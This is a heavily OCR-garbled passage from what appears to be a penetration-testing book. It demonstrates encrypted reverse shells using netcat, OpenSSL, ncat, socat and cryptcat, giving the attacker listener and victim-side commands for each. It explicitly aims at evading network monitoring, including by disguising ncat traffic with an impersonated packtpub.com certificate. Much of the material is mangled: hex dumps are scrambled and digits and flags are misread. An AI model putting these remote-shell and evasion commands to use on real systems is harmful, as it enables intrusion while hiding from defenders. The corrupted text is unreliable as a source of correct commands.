Explois FTP service and delvers the port It
payload 5o that the target server B0/t
connects back to this machine on Wil

port 80/t
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Now that we have a clear understanding of reverse shell connections, let's try to get a
reverse shell using netcat. Remember: the communication will not be encrypted.

Technet24
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Unencrypted reverse shell using netcat

Let's start a listener on the attacker machine. This can be achieved by executing the
following command:

|nc -b <interface> -1lv <port>

| JON | Harry — nc -b en0 -lv
xXxZomb13xXx:~ Harry$ nc -b end -1v 8080

Our listener is ready for incoming connections on port soso.

Now let's execute the following command on the victim machine:

| Bash -i>& /dev/tcp/192.168.2.6/8080 0>&l

000 A Harry — -bash — 65x24
xXxZombi3xXx:~ Harry$ bash -1 »& /dev/tcp/192.168.2.6/8080 0-81

Upon successful execution, the victim machine connects back to the attacker machine,
opening a bash shell:

[ NON | Harry —nc -b
xXxZomb13xXx:~ Harry$ nc -b end -1v 8080

bash-4.4$%

Now let's see what happens when the attacker executes basic commands, such as wnoani
and ia:
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000 Harry = nc -b end -Iv 8080 — 90x30

xeZonb13xke:~ Harry$ nc - end -lv 8080

bash-4.45 whoan

Harry

Dash-4.45 1d

ud=503(Harry) gid=20(staff) groups=20(staff), 501 (access_bpf), 1

5),79(_appserverusr), 80 admin}, 8L(_appserveradn), %8(_lpadnin),3
{

2(everyone ), 61( localaccount
3(_appstore), 100(_[poperato
), 204(_developer), 250(_analyticssers), 395(com. apple. access_ftp), 396(com. apple. access_scr
eensharing}, 101(com, apple. access_ssh-disabled)

bash-4.,4§

The ia command sent over the wire is displayed in plain text. The output of this
command 1s unencrypted as well:

Technet24
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(I "Harrv e 112404
/

@44@? 8@43451 L6.http-alt » 192,168.2.6.5%70: Flags [P.), qu 94021175: 14621182, ck 158220720
| W 12759, options [noplopT §al 52 J@1841 | 52299@} length 7:

@x@@@@) 07200 0000 4507 003 0000 4000 4000 00 ....E..;. 0.,

MW@mchm 06 1190 lob 0099 87 +ovvvvivivnne

O02D: ede 90fe 8) d 85%0 0000 0101 0800 M., 1,

OiA0D: 162 oo f b held 776 f d 900 ., hom,
20407 04414 TP 19.168.2.6,5%70 » 192.168.2.6.ttp-ult: Flags [.], ack 7, win 12759, aptions: [nop,nop, TS va
| 30413 ecr %@ 3], lm]h@

telrturannl

@x@@l@ clab 020 c&)u @b 100 dlab 190 Sede %02 +.vvvirane 0.,

(x0020: 0099 gefe 8010 Y1d7 8583 0000 0101 0800 .....1.......,

O00:  1f2c adod fcu@ud i
20407, 816935 1P 192.168.2.6.5%70 » 192,168, ‘h tp-lt N luq 5 [1.], seq L7, ack 7, win 12759, optuons [nap
09, TS vl 5308425 ecr 5230184 ]lpng h

(x00D: 0200 0000 4502 0% 0R00 4000 4@(% @&)@@ il
R A W..
Ou0020: 0099 gefe 8318 31d7 8 @&)@M 000 L

Iflc

O0030:  1£2c olod IF2c obod 4861 7272 o0, oy,

This 1s the same case with the wnoani command and its result. The output is unencrypted:
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% Harry = -bagh = 143x38

2@ 44:09,565106 IP 192,168.2.6.http-alt » 192.168.2.6.53670: Flags [P.], seq 7:10, ack 17, win 12758, options [nop,nop,TS val 523020171 ecr 523
016428], length 3: HITP
0x0000: 0200 000 4502 037 0000 4000 4006 0000 ....E..7..0.8..,

0x0010:

a8 0206 a8 0206 1f% d1ab 0099 gefe

00020: Sede 910e 8018 31d6 8586 0000 0101 0800 M....1...vvui

0x00%0:

1f2c a78b 1f2c abbe 6964 0o

|

mmmwmwmm7wm1wmmmmum[memwmwmmmmmwwmmemml

ngth 0

R

(0200 0000 4500 0034 0000 4000 4006 0000

wEABE

0:0010:  chab 0206 cdab 0206 lab 1F%0 Sede %10 .ovivii N

0x0020:
0x0030:
MMWMWW%MW%M%MMMluH%MMmmwmmmmmmﬁm

3020171], Length
(000:

04010

00020 0
(x030:

00040:
0x0050:
0x0060:
0x0070:
0x0080:
0x0090:
0x0000:
0x00b0:
0xd0c0:
0xd0do:
0yd0e0:
Oxoofo:
0x0100:
0v0110:
0x0120:
0x0130:
0x0140:
0x0150:
0x0160;
0ud170;

0099 ofd1 8010 317 8583 0000 0101 080a
1f2c a78b 1f2c a7éh

A7 TP
(200 0000 4502
a8 0206 cdad

0099 affL 8018

1

206 dlob 1799 Sede 910e

L7 86c) 0000 0101 080

f2c a7% 1f2c a7 7569 6434 3530 3328

4861 7272 7929 2067 6964 3d32 3028 1374

6166 6629 2067 726f 7570 733d 3130 2873
}
fhe

0
0
a
!
!
!

1461 6666 292¢ 3530 3128 6163 6365 7373
562 7066 292 3132 2865 7665 7279 btb
6329 236 3128 eof b361 6eol 6363 675 e
berd 7329 2¢37 3928 Sfel 7070 7365 7276
672 7573 7229 238 3028 6164 6d69 6229
2638 3128 5f61 7070 7365 7276 6572 6164
629 2c39 3828 Sfbc 7061 646d 6%e 292¢
3333 285t 6170 7073 746F 7265 292¢ 3130
3028 Sfec 706f 7065 7261 746f 7229 232
3034 285F 6465 7665 beb 7065 7229 232
3530 285f 616e 616c 7974 6963 7375 7365
7273 292¢ 3339 3528 636f 6dze 6170 706¢
6520 6163 6365 7373 566 7470 292¢ 3339
3828 636f 6d2e 6170 706¢ 6520 6163 6365
7373 5§73 6372 6565 Ge7 6861 7269 6e67
292¢ 3130 3128 636f 6dze 6170 706¢ 652
6163 6365 7373 5F73 7368 2db4 6973 6162
665 6429 0o

...... Livviinny

71 0000 4000 4006 W00 ...E..q..0.8,,

e DS
Hurry) qid=20(st
0ff). groups=20(s
taff), 501 {access
_bpf), 12(everyon
¢),61(localaccou
nts), 79(_appsery
erusr), 80 (adnin)
8L(_appserverad
m), 98(_Lpadnin),
33(_appstore), 10
0(_Lpoperator),2
04(_developer),2
50(_analyticsuse
1), 395(com. appl.
e.aceess_ftp), 39
B{com.apple. acce
5_Screensharing
),101{com.apple.
ceess_ssh-disab
led),

202019 ecr 5
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What could go wrong here? A network administrator who monitors the organization's
network can detect our presence in the network with this.

So, we go ninja here by encrypting the reverse shell for encrypted communications. All
hail OpenSSL!
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Encrypted reverse shell for *nix with
OpenSSL packages installed

Assuming that we have already generated a custom X.509 certificate, we can execute
the following command on the attacker machine to listen for an incoming reverse shell
connection on port soso:

|openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

00 Harry —openssl s_server -quiet -key key.pem -cert certpem -port 8080 — 90x30
xkxZondi3xKx:~ Harry§ openssl s_Server -quiet -key key.pem -cert cert.pen -port 8080

Now let's execute the following command on the victim machine for a reverse shell
connection:

|mkfifo /tmp/z; /bin/bash -i < /tmp/z 2>&l | openssl s client -quiet -connect 192.168.2.6:8080 > ,

000 A Harry — -bash — 76x24
xkxZonbi3xKx:~ Harry$ mkfifo /tmp/z; /bin/bash -1 < /tmp/z 261 | openssl s_

client -quiet -connect 192.168.2.6:8080 > /tmp/z;rm /tmp/z

Upon successful execution, the attacker machine will get the following reverse shell:

Technet24
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rﬂ 0 Harry — openssl s_server -quiet -key key.pem -cert cert.pem -port 8080 — 90x30
xhZonb13¢kx:~ Harry§ openssl s_server -quiet -key key.pem -cert cert.pen -port 8080

bad gethostbyaddr
Dash-3.25

Let's try to execute the ia and whoami command now:
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XkxZombi3xKx:~ Harry§ openssl s_server -quiet -Key key.pem -cert cert.pen -port 8080 ckxZonbi3xkx:~ Harry$ mkfifo /tmp/z; /bin/bash -1 <
bad gethostbyoddr client -quiet -connect 192,168,2.6:8080 > /tmp/z;mi
bash-3.26 whoami Qepthed €= XK ST= XK, L= XK, 0= KX, OU = KX, N
Harry BKE XK

bash-3.26 1d verify errorsnum=18:self signed certificate
uids5O3(Harry) qid20(staff) qroups=20(staff), 501 (access_bpf), 12(everyone), 61( localaccount verify return:1

), 79(_appserverusr), 80(adnin), 81(_appserveradn), 98(_padwin), 33(_appstore), 100(_poperato depth<d € = Xk, ST = XK, L= Xk 0= £, 00 = Kf, N
1), 2M4(_developer), 250( _analyticsusers), 395(com. apple. access.ftp), 398(com, apple, access_scr @K, ¥k

eensharing), 101 com. apple. access_ssh-disabled) verify retumn:1

Dash-.26

Harry = tcpdump « sudo = 143138
0x0000: 0200 00G0 4502 0186 000 4000 4006 0060 ....E.....0.8,,,
0x0010:  cOa8 0206 cOod 0206 d26c 1f90 286d 6ded ,.....0., 1..(m,
0v0020: a8bd deed 8018 318f 865 0000 0101 08 ...... Vi
0u0030: 130 d2a9 1f30 d2% 1703 0301 4d8b 1817 .1...:... M.,
Ox0040: 8058 9993 844 d488 b097 1adb fdod afad .X...D.0.is M.
0x0050:  f91 b34b clbe 728 2ee5 7bf9 3529 beed ... (. {.5)..
Ox0060:  ff9c 7828 bfel e2bd f07q 8227 5787 8cbe ,.x(0,.,.z," ..
MWZM%W4WMHMMMf(mA$(
memm 917 ba6h 0384 6a37 1081 D kil
0x0090:  03f8 Sabd 978 ®WMBMHMML“
BMWMMMMMMMME ......... Mt
00000 c2be 7590 b474 bad5 5203 5981 206 4% ..u..t. R
0x00c0: 6400 8504 0784 256e 035 bfcf f3c4 7 d.....Hn.50.....
meMMMHNBMWMMUW#
Ox00e0: eD4b 9806 02¢5 6404 eb3e 7he? fctd 4f18 %0
MMMMMWWM&MW%MMM
0x0100: 795 ofb7 2004 461 e730 ae%% ebad fe9 VT.g)F..h.n Y
MMMMMWWMMMMQ%
00120: 3£26 4811 6509 ddd4 515 bagh fc49 febS ?&H.e...Q....I..
O0130: 40ct 785 3035 0680 2fac ac33 bao3 6566 @.}.:5..7..3..ef
0x0140: 8563 e3¢ Sadl 8LE7 fa 3091 eefo 8983 .CuLiviiyiZi,
00150 97fc 3000 41dd 3708 3366 8393 bdad 574 ..0.A.7.3f.....t
Ox0160: 1500 55bb 8872 8651 d4S6 7372 a66d 606d ,.U..r.0.Vsr,
0NOL70: a7b 7931 1348 SFbf 074d 8677 2976 7209 . {yLA_..Mwwr,
0v0180:  856f 6d10 c9fd 302f dfd7 om0/,

20:59:40,069636 1 192.,168,2.6.http-alt » 192,168.2,6,53868: Flags [.], ack 397, win 12732, options [nop,nop,TS val SBU8713 ecr S2348713], |
ength
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Encrypted! »pap+

In cases in which we don't have the openss1 package installed on the client, we can
always use different tools. Let's try to get reverse shells using other tools.
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Encrypted reverse shell using ncat

Ncat is a Swiss Army Knife tool just like netcat. It is provided by Nmap with some extra
features, such as proxy connections, universal OS support, encrypted connections over
SSL, and many more.

Let's execute the following command on the attacker machine to listen for incoming
encrypted connections on port soso:

ncat -1 8080 --ssl -v

(ReZonb13eKe:~ HareyS ncat -1 8080 --ssl -v

Ncat: Verston 7,60  https://mmap. org/ncat )
Ncat: Generating a temporary 1024-Dit RSA key. Use --ssl-key and --ssl-cert to use o pemanent one.
Ncat: SHA-L fingerprant: BASF (242 9651 3345 BSSR SO91 1804 059 BAFE 8E%

Ncat: Listening on ++:8060
Ncat: Listentng on 0.0.0.0: 8080

Now that the listener 1s ready, let's execute the following command on the victim
machine:

|ncat 192.168.0.110 8080 --ssl -e /bin/bash -v

Technet24
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000 Harry — bash « ncat 192.158.0.110 8080 --ssl - [bin/bash -v — 143

« = Ncat -| B0B0 --ssl -v »— pash « ncat 192,168,010 B08Q --ss! -¢ bin/bash -v

dhxZonbidekxc Harry$

(hxZonbidekxc Harry$

(hxZom3ekx:~ Harry$ ncat 192.168.0.110 8080 --ssl -e /bn/bash -u
Ncat: Version 7,60 ( https://mmap.org/ncat )

Ncot: Subject: (N=localhost

Neat: Tssuer: Chlocalhost

Ncat: SHA-1 fingerprint: 3968 60SB DFZ2A 20C7 DES7 ARSR 1104 E98C DEAD FFIB
Ncot: Certificate vertfication fatled (self signed certificate),

Ncat: SSL connection to 192.168.0.110: 8084,

Ncat: SHA-1 fingerprint: 3968 605B DFZ2A 20C7 DES7 ARSR 1104 E98C DEAD FFIB

We did not provide any SSL certificate to ncat here. Consequently, ncat uses the default SSL certificate
for communication.

We have got the reverse shell! Now let's execute the i« command:
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(heZomb3xkx:~ Harry§ ncat -1 8080 --ssl -y

Ncat: Verston 7,60 ( hitps:. /mmap.ong/ncat )

Ncat: Generating o temporary 1024-1t RSA ey, Use --ssl-key and --ssl-cert to use o pemanent o,
Ncat: SHA-L fingerprint: GADF 072 644D 1191 B810 40RC 4FAB EOCO 267 S62

Ncat: Listentng on ;8080

Ncat: Listening on 0.0.0.0:3060

Ncat: Comnection fron 192.168.0.110,

Ncat: Comnection from 192.168,0,110: 62416,

Il

i Sy 20stoff) st aeces ), 2eerone) 1 lcolaccnts) T
erverust) dadnu), L oppserverad), (. padnun), 3(_oppstore), O popertor), 24 develoer), 250
(_analyticsusers), 95(com.apple. access_ftp), 398( com.apple. aceess_screensharing), 101 con, apple. access_
ss-disabled)

Let's look at the tcpaunp trace for this command:

Technet24
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14:20:45,297547 TP 192.168.0.110.62416 » 192.168.0.110. http-alt: Flags [P.], seq 708:105, ack %4
, win 12729, options [nop,nop, TS val 585993421 ecr 585993405], length 46: HTTP
(0x0000: 0200 0000 4502 018 0000 4000 4000 0000 ....E.....0.0...
Ox0010:  cfad 006e cfad 006e f3dD 190 Jeed 1775 ...Muuuliin,
0x0020: 1025 82da 8018 3169 83ad 0GO 0101 D80a
Ox0030:  22ed 8ced 22ed Bchd 1703 0301 5509 Blc ..U
Ox0040: 1535 e29 351 2Ufa cchd 7012 681b 4543 5,701, z.hEC
Ox0050:  36fd 0646 cd7a craa 3255 bb73 bead 687c 6..F.z..20.8..0
0x0060:  8d0f 86d1 e979 abaf 9274 222e ohad bl .....y...t".. ]
0x0070: 0977 2226 afdd 71fe ce8 b3b3 c444 el .w'G..q..8...08,
0x0080:  acH fcB9 a5f2 1d05 4e83 0b7b 4ffe M ........ .. v0..0
0x0090: 719 d956 193 aol 9000 Je88 5552 afhg
Ox00ad: 8800 278b dcdd 9376 890 eSab &517 683
Ox00b0: 1320 3d% 1307 0759 3720 3dd1 5432 7edd .=,

0x00ch: Saf8 411e 973 ddd2 353c def7 ceeb W30 Z.A..S..

0x00dd:  6a3c 86ed cald 4013 2180 3fda blcc 6bf2 Je.. K12k
(0+00eD:  ab46 966 27eb 2038 fhd2 278e 203 dofe LFYF'.H..TEL
0x00D: 589 536 2665 13ab 1054 eeS4 3240 306 K.\6.e...T.T240,
(0x0100:  781c 29% 5924 bac5 cchd bed2 b212 1891 x.).Y-.....R..
0x0110:  4cbb 5100 e31 480d 5200 dd 2092 a288 L.0...H.R.3.....
0x0120: 7100 3007 221c 4a17 fe38 839c £770 682 g.;.".)..8...pnR
0x0130: 570 bed8 a3 fda 6426 aZe? e3f2 B2l p......0R.....!
0x0140: 6927 800 0c4d ddac 5F29 9252 Jeds cdff 1'...6.)Rx,
00150:  bidd5 e6b 224 7638 Bab9 cche ched dea? ...f/58).....
0x0160: 0930 4a50 1fba 6af8 Qef7 7cdd 6589 £341 .;J2..)...0.e..A
0x0170: 530 807 7dco 6855 dcdh 3300 2089 450f Z0..}.n0.;3.+.E.
0x0180: eb7b dad§ 660e 3260 0264 9fle S7aa S00d .{..f.2j.d..H.P.
0x0190: b9 6
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As you can see in the preceding screenshot, the communication between the attacker
machine and the victim machine is encrypted! Is there any issue with using the default
settings of ncat? Yes, there 1s! The SSL certificate in use shows that the certificate was
automatically generated by ncat. A network administrator can detect the presence of ncar
on their network by looking at the SSL certificate:
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Hﬂ%%WPMM@mmpHNMMM&%Hmﬂhm%&ﬂ%MMMmeWWﬂM%MMe
r SE423674], Length 609: HTTP
O000: 0200 0000 45

{2 0295 0000 4000 4006 0000 ,...E.....%,
(00010: - cDof Qdoe cla

801

i

g 6 00
e 1199 307 6705 650 ..hivls
0u020: 6%co 30fc 018 31c7 S4bd 000 0101 0800 1.0...1.........
@MMM ) 2 00
ff fl g
:

00040: 3603 0372 dc

! 0

b f

b 0

4. dba 1603 0300 a2 000 "..."..:

12 dcfd boff £124 4dfd 4377 7952 6..0..... S0, (R
@MWMb?WMSMNMWM
Ox006D: - £3da 4000 009 0000 Deff 0100 0100 803 .. J.vvvvvinn t
Oxi00: 0000 006F 0031 0116 0303 0714 00) 0200
WMWMWWWWWW ......... 0.,
Oc00%: 0201 0202 41b 7df3 6230 Oddo 0920 8648 .....1.0.. 2,
@W%WMMMMMM% ........ 0.L0...
Oxd0bD: 5504 03c 09%c 6763 616c 86F 7374 02 Ul.... localhostd.
Oudch: 170 3138 3038 3230 3038 24310 3935 Sa17 . 180808413,
Odi0dD: 0dB1 3930 3632 3030 3834 3133 3%50 3014 190200B413520,
Oxi0ed: 3112 3010 0603 5504 030c 0% 663 616c 1.0...0.... local
Odi0fD: 686 7374 3081 930 Gadb 0%20 848 86F7 hostd. 0. K.,
OxD10D: a1 0101 0500 0361 Ba0 3081 8902 8181 ..., Biaas
DeDLLD: e 7889 8edl 1799 4320 Sdlo 4934 883 . k... (FLLE=.,
DeDL2D: 45ba Sd5d 958 3028 FEfd b0 f37 Jacd EJ]..0(.._..7:,
00130: feec dbch 18 50% deee 765 3030 6183 ......PN.~0i0,
DuDL4D: ~ cdba S6a7 903 O51c 4437 9097 627 09D j0.....07..0".,
DDLSD: 0188 cdc2 1 Glad 955 e 9952 ¢33 .....0...0LR.,
OeDLOD:  S6LF 2900 ad25 0e62 1b7e cAfc bOS7 Gakd V. ). 5ub.e,. il
Ded170: £55 023 ce2d 75bf Q06 2658 %0ud ccd 0.3.-11... 4K
DOLSD:  F4F1 coff al8h 1783 OO b4 a7 Bedl ..., s
OxDL90: A2 0301 00T 0365 3063 3014 0603 551 dd.. L.
OxDLab: 1104 0630 0062 09%6c 663 loc B86F 7374 ... localhast
OxDLOD: 304 0609 6085 4801 86 4201 Oulk4 3e16 OK.." ... B....
Deblcd: 3c4L 7574 66 6174 6963 616 6c79 2067 Autanatically.g
mmmmmmwmmmmmmm
@M%M%MM 1330 22F bebd . See.https:/
Dedfd: 6170 2eof 7267 2f6e 6361 742¢ 2630 0al6 ap.ong/ncat/ 0.
MMWWWMWWWWH ............

{
{
}
It §
0
b §
10
L1
}

!
{
l
b
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To solve this problem, we can use a custom SSL certificate. Let's use an SSL certificate
that we impersonated from nttps: //www.packtpun.con/ (SSL impersonation will be discussed
later in this chapter):

ncat -1 8080 --ssl -v --ssl-key /Users/Harry/.msf4/loot/20180819233217 default 83.166.169.231 wwv

rhxZonb13xkee~ Harry$ ncat -1 8080 --ssl -v --ssl-key /Users/Harry/ mst4/ Lot/ 201808192332
17_defoult_83. 166,169, 231 _waw. packtpub. com 525575, key --ssl-cert /Users/Harry/ .mst4/ loot/Z
(180819233217 _defoult_83,166.169. 231 _mew. packtpub. com_931116. crt

Ncat: Version 7,60 ( https://map.org/ncat )
Ncat: Listening on +::8080
Ncat: Listening on 0.0.0.0:8080

When the victim machine tries to connect back to the attacker machine, the impersonated
SSL certificate from https://www.packtpub.com/ 1s used:

xXxZombi3xXx:~ Harry$ ncat 192.168.0.110 8080 --ssl -e /bin/bash -v

Ncat: Version 7.60 ( https://nmap.org/ncat )

Ncat: Subject: (N=*.packtpub.com, CN=*.packtpub.com

Ncat: Issuer: (N=*.packtpub.com, (N=*.packtpub.com

Ncat: SHA-1 fingerprint: (9E6 (615 BZAC Z2BF5S 3(B9 DOE4 3D1A E98C D4EL 8D61

Ncat: Certificate verification failed (self signed certificate).
Ncat: SSL connection to 192.168.0.110:8080.
Ncat: SHA-1 fingerprint: (9E6 (615 BZAC ZBF5 3(B9 DOE4 3D1A E98C D4E1 8D61

Let's check the tcpaump trace for the SSL certificate:
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USing nc

at 18 installed on the target server instead of ncat? No problem!

Windows. SO, what if soc



https://technet24.ir
https://technet24.ir

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

Encrypted reverse shell using socat

socat 18 a utility tool, just like netcat, that supports communication using different
protocols as well as through files, pipes, and sockets with forking, logging, and dumping
for interprocess communication. In short, this tool can be described as Damn
Innovative!

We can check whether or not socat 1s installed on the target server using the following
command:

|which socat

0

~ — harry@Fuzzer05: ~/unix — nc -lv 8000 -u
: % which socat
Jusr/bin/socat
: %

Let's start the encrypted listener on port sooo using the following command on the
attacker machine:

|openssl s_server -quiet -key key.pem -cert cert.pem -port 8000
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™ Harry — harry@FuzzerQS: ~ — -bash — 143x35

« = harmy@Fuzzer0s: ~ — -hash « — harry@Fuzzer0S: ~ — ssh harry@192.168.2.14
xhXZonb13xKx:~ Harry$ openssl s_server -quiet -key key.pem -cert cert.pem -port 8000

Execute the following command on the victim machine for a reverse shell connection:

| socat exec:'bash -1li',6pty,stderr,setsid,sigint,sane openssl-connect:192.168.2.6:8000,key=$HOME/ce

i Moy =GP0, - 5 ey L1882~ 436
< Ty BRze 05 « -0  DAyBFLRzE05:« =55 192, GA .14 o=

S sucat e bosh -[1' hy,toer sk, tqunt, sone oenss[-comect: 9%, 68,26 600, ey SHONE cert, e v fd

Upon successful execution, a reverse shell will be popped on the attacker machine:
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(O | Harry — harry@Fuzzer0S: ~ — openssl 5. server -quiet -key key.pem -cert cert.pe

. 26705; ~—penss! _erver -Quiet -Key Keypem -cert cert pem -port 8000 ¢ « —harry@Fuzzer05; ~ — ssh harry@192.168.2.14

xRxZomb13xKkx:~ Harry$ openssl s_server -quiet -key key.pem -cert cert.pem -port 800
bhad gethostbyaddr

!

Let's try to execute the :a command:

Ml Hatry = iy Fuzzan: «— sl s emer -0t -ty ke -carcar e ~port 00 = 143435
S < fe et curem ot OO0 ootGFerOS: ey - sh by @D 16R21E @RS, «— sh hyrAL 6B 14 “—{
omlm Mo opens _server -qutet -Key Key. e -Cert cert.pem ort 0
ltd 1 gethostoyaddr
1
I
V11000 orey) gua=1000(harey) groups=L000Chorey) 4 o), 24 cdrom) 27udo) 0(atp) 6(pluge), M3 podmn) S28(sumoushare)
o

As we can see in the following screenshot, the output 1s encrypted:
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12:36:53.599149 TP 192.168.2.6.8000 > 192.168.2.14,48804: Flags [P.], seq 4020760707 4020760739, ack 2414928448, win 4102, options [nop, nap, TS
vl 185275366 ecr 1812578], length 32

0:0000: 0800 2720 4684 3035 achd c26e 0800 4500 .."*F.05...n. .,

(v0010: 005 0000 4000 4006 bS53 clab 02 c@u Bt

D000: 020 14D beod efar F083 8D 240 8018 ...0......... A,

MMWMWMWWWMM ............
0u0040: 0862 1703 0300 1000 0000 0000 0000 0124 .b...vuvvvive, $
De0S0: 789 eBfc 9979 293 095 COde fedd 1084 %..virSivviuns
Du060:  Of6 i
00:36:53,599679 1P 192,168.2.14.48804 > 192.168.2.6,8080: Flags [P.], seq 1:34, ack 32, win 296, options [nap,nop, TS val 1814382 ecr 18527366
, length 3
(0000: 3035 achd c26e 0800 2720 4984 0600 4500 05...n.."¥F...E,
De0nI0: mwmwwwwmmwmw
De0020: 0206 beat 1740 8FF0 o240 efal flad 8015 ... .8 4%
0u00: 0128 85ac 000D G101 03a 01h fed M NG, et
Du040: 1366 1703 0500 1ced 4352 88f5 bLel 324 ..., g
(RN B 414 Yed 1f1e 5% 3760 Beed . .0.....8.7]..
mw: nlo

WFI

m

0 dnd
e
i
30 88f
le 5

MM MMM% Ba
mewmmb
0u020: 020 140 beot efa7 0
Ou0050: 1005 e1do 0000 0101 08
Di040:  afied ;i
12:36:53, 600997 1P 192.168.2,14. 48804 » 192.168.2.6.8000: Flags [P.], seq 3199, ack 32, win 2%, options [nop,nop, TS val 1814502 ecr 185275%
9], length 156
0u0000: 3035 adbd c26e 0800 2720 4684 0800 4500 05...n.."*F...L.
0u010: 00D 4700 4000 4006 619 cof 020 c@uS G.@.@.m.......
Du020: 0206 beg4 114D BFf0 261 efaf fied 018 ... A
MW:WHWW%WMMWEfMW.U ............
0x0040: 1369 1703 0300 9761 4332 88f5 blel 370 ..., €.
Du050: %4 c36c 6 cb12 edib o5F9 29f cef L IT.{ e
:MMMHC%HMSWMM ....... [ m
430 9034 £853 88do 9 1932 b28K4&Jw“
o330 fSa 298 38 9901 Bhed (32 ;

l
3 ad
b

2.
b
)
(
il
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If we don't want to use SSL at all, we can always try cryptcat. This supports encrypted
communication using the tworisn cipher algorithm.
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Encrypted reverse shell using cryptcat

crypteat 18 @ tool based on netcat that is enhanced by tworisn encryption. Download the
tool from http://cryptcat.sourceforge.net/ and untar 1t. The fOHOWiIlg file resides 1n the
cryptcat directory after downloading it:

000 Harty — harry@Fuzzer0S: «funix — ssh harry@192.168.2.4 — 143
= — msfconsole = = harmy@Fuzzer0S: ~unix — ssh harry@192.168.2.14 = Downloads = python -m

/Ui s
(hangelog Makefile README.cryptcot fomdcrypt.ho generich — nmetcot.c  toofisha.h

(edits  README  fomcrypt.cc  famdcrypt.o netcat.blurb twofish.cc twofish2.o
1/ UNTxg

We need to build the package using the following command:

| make linux
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) Harry = Ramy@FUzzer0S: «unik— ssh ey @HG2188.114 143436
« Mefconsdle = Ay @Ruzzer0S: »{uniy — seh harry@192.168.214 o Donrloads — python -m SmpleHTTPSener

§ ke
Usage: ok <systypes [optlons]
k

v make Ty

IIIU|\P ecryp (ot AFLAGS:"-LINUK" STATIC=-stafac |
- lstdows!

muke[l}: Ftertng durectory '/ home/harry/ iy
(C-0-5 -DGAPINGSECURTTY_HOLE -DLINIX -static -0 crypteat neteat.c famdcrypt.o baofishz.o -lstdcss
metcat. In function "holler':
metcat.C.7.2; fomat not a string Literal and no format argunents [-Homat-Security]
forintf (Stdere, h_errs[h_ermo]); /* handle 1t here ¥

metcat.; In function "banl”
metcat..200:3; plictt declaration of function *close” [-Himplictt-function-declaration]
close (etfa):

A binary file named cryprcar Will be generated in the same directory, as follows:
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"0 Harry — hary@Fuzzer0: «/unk — ssh hamy@192188.244 ~ 14336

«— Mefconsole = arry@Fuzzer0S: »{uniy — ssh harry@192.168.2.14 < Donn/oacs — python -m SmpleHTTPServer
o/ Unief 1
(hangelog Mokefle READNE.crypteat famdcrypt.cc famdcrypt.0 netcat.blurd bwof1shZ.cc tiofishZ.o
(edits — README famderypth gememich metcot.c oISt
/Ui

Let's execute this file using the following command, which allows us to check the help
screen:

| ./cryptcat -h
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Harry = harry@Fuzzer0S: ={unix — ssh harry@192.168.2.14 — 143x36
« = Msfconsole « = harry@Fuzzer0S: «unix — ssh harry@192.168.2.14 « Dovmioads — python -m Simpl
§ . ferypteat
[11.10]
connect to Someshere:  nc [-options] hostnane port[s] [ports] ...
Listen for tnbound: ~ nc -1 -p port [-options] [hostnae] [port]
opt10ns;
-2 Prog proqran to exec after connect [dangerous!! ]
-( (atesay source-routing hop potnt[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
A this cruft
- secret set the shared secret
-1 S(S delay interval for Tines sent, ports scanned
-| L1sten mode, for tnbound comnects
a numeric-only IP addresses, no OKS
- file nex dump of traffic
- port Local port numper
I randomize local and remote ports
- qddr local source address
il UDP mode
- verbose [use twice to be more verbose]
W SRCS timeout for comnects and final net reqds
7 zer0-1/0 mode [used for scanning]
port numbers can be tndividual or ranges: lo-it [inclustve]

§
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This 1s the same output that neccar would generate with only one more option added to it;
that 1s, the -x option. This will be the shared secret for tworisn encryption.

Let's start the listener on the attacker machine with the shared secret set to narryi23
through the following command:

|./cryptcat -1lvp 8000 -k "harryl23"

000 Harry — harry@Fuzzer0S: ~/unix

~ — mafconsole ~ — harry@Fuzzer0S; ~/unix — ssh harry@192.168.2.14
| § ./crypteat -lvp 8000 -k "harryl23"
L1stening on [any] 8000 ...

Our listener is ready for incoming connections. Now let's execute the following
command on the victim machine:

|rm -rf /tmp/a; mkfifo /tmp/a; ./cryptcat 192.168.2.14 8000 -k "harryl23" 0</tmp/a | /bin/sh >/tmg

ol Moty = hary@Puzzr0S: i = h ary 102 68,214 = 136
=M = g o= L0 GRS o - oL 6RO Py = LI ¢
nfa 1§ - gyt LGN g Kb i Y 4
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0 crypteat NEeds to be delivered to the target server for execution.

Upon successful execution, a reverse shell will be popped on the attacker machine. Let's
execute the ia and uname -a commands here:

(M} Hary = @ uzzrCS: ks by @100 16824 - 14336
o~ tongoe = amy@RurcerO5: iy - s hmy@I9LIGB21 . hay@FmeS: shi— shban@IOLEB204 . AGFuazer0S: homehry =3

0§ oypteat - 30 -K a2
Listering on [any] 800 .
197,168,2.14: nverse host Tookp fotleds Dnknom host

comect to [192.168,2.14] from (OMNOHN) [192.168.2.14] 5207

1

J0-L000harny) QA0 horey) groups<1000Charey) o) 2{ o), 27 30Ca1p), 46(pluge), 03 poduon), L28{subishoe

e -
Lo Fuzzer 4.4,0-128-generic s154-Dbuntu S Frt oy 25 14:14:58 UTC 2608 1685 1686 1685 G L

On the tcpaump trace Terminal, we can see that the communication is encrypted:
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Harry — root@Fuzzer0S; fhome/hamy — sh hamy@192168.2.14 — 143x36

» — Mefcansale o« harry@FuzzerS: «funis — ssh harry @182 168,214 hamy@Fuzzer0S: »/uniy — ssh harry@192.168.2.4 .[@Fuzzer0S: fromefharry — ssh harry@192168.2.14 ‘Jr

0x0050:  fo69 il
21, 54:45.376501 TP 192.168.2.14. 8000 » 192.168.2.14.52078: Flags [P.], seq 36:52, ack 159, win %42, options [nop,nop, TS val 1182446 ecr 1178964
], length 16

(x0000: 0000 (000 006 000D 0630 0000 D800 4500 ....veiverii B

0xB010: 0044 9032 4000 4006 1015 chad 020e 0§ .0.26.0.........

0xo020: 020 1f40 cbbe c3ba 62cd 4801 3% 8018 ... bR.2...

0x0030: 0156 8503 0000 6101 0800 0012 Boee 0011 V.vvvivvrrvnans

OxiM0: 54 6c13 S7ee 0286 8211 5082 dbcb 6985 (TLM.....P...1.

0x0050:  F405
HM%MMPMH%HHWMMH%HHWFmﬂ]MHLWM&MWHmmMHMMMMwmm@MWM

(x0000: 0000 (000 000 000D 063D 0000 D800 4500 ......ivvr.i E.

Ox0010: 0034 780 4000 4006 eddb chad 020e 0§ 4,.0.0,,......,

0x0020:  020e ch6e 140 4801 394 c3ba 620d 8010 ...n.BH.7...D...

0xB030: 0156 8593 0000 4101 0800 0A12 Buf8 0012 V...evvviiiin,

0x0040: Qoee
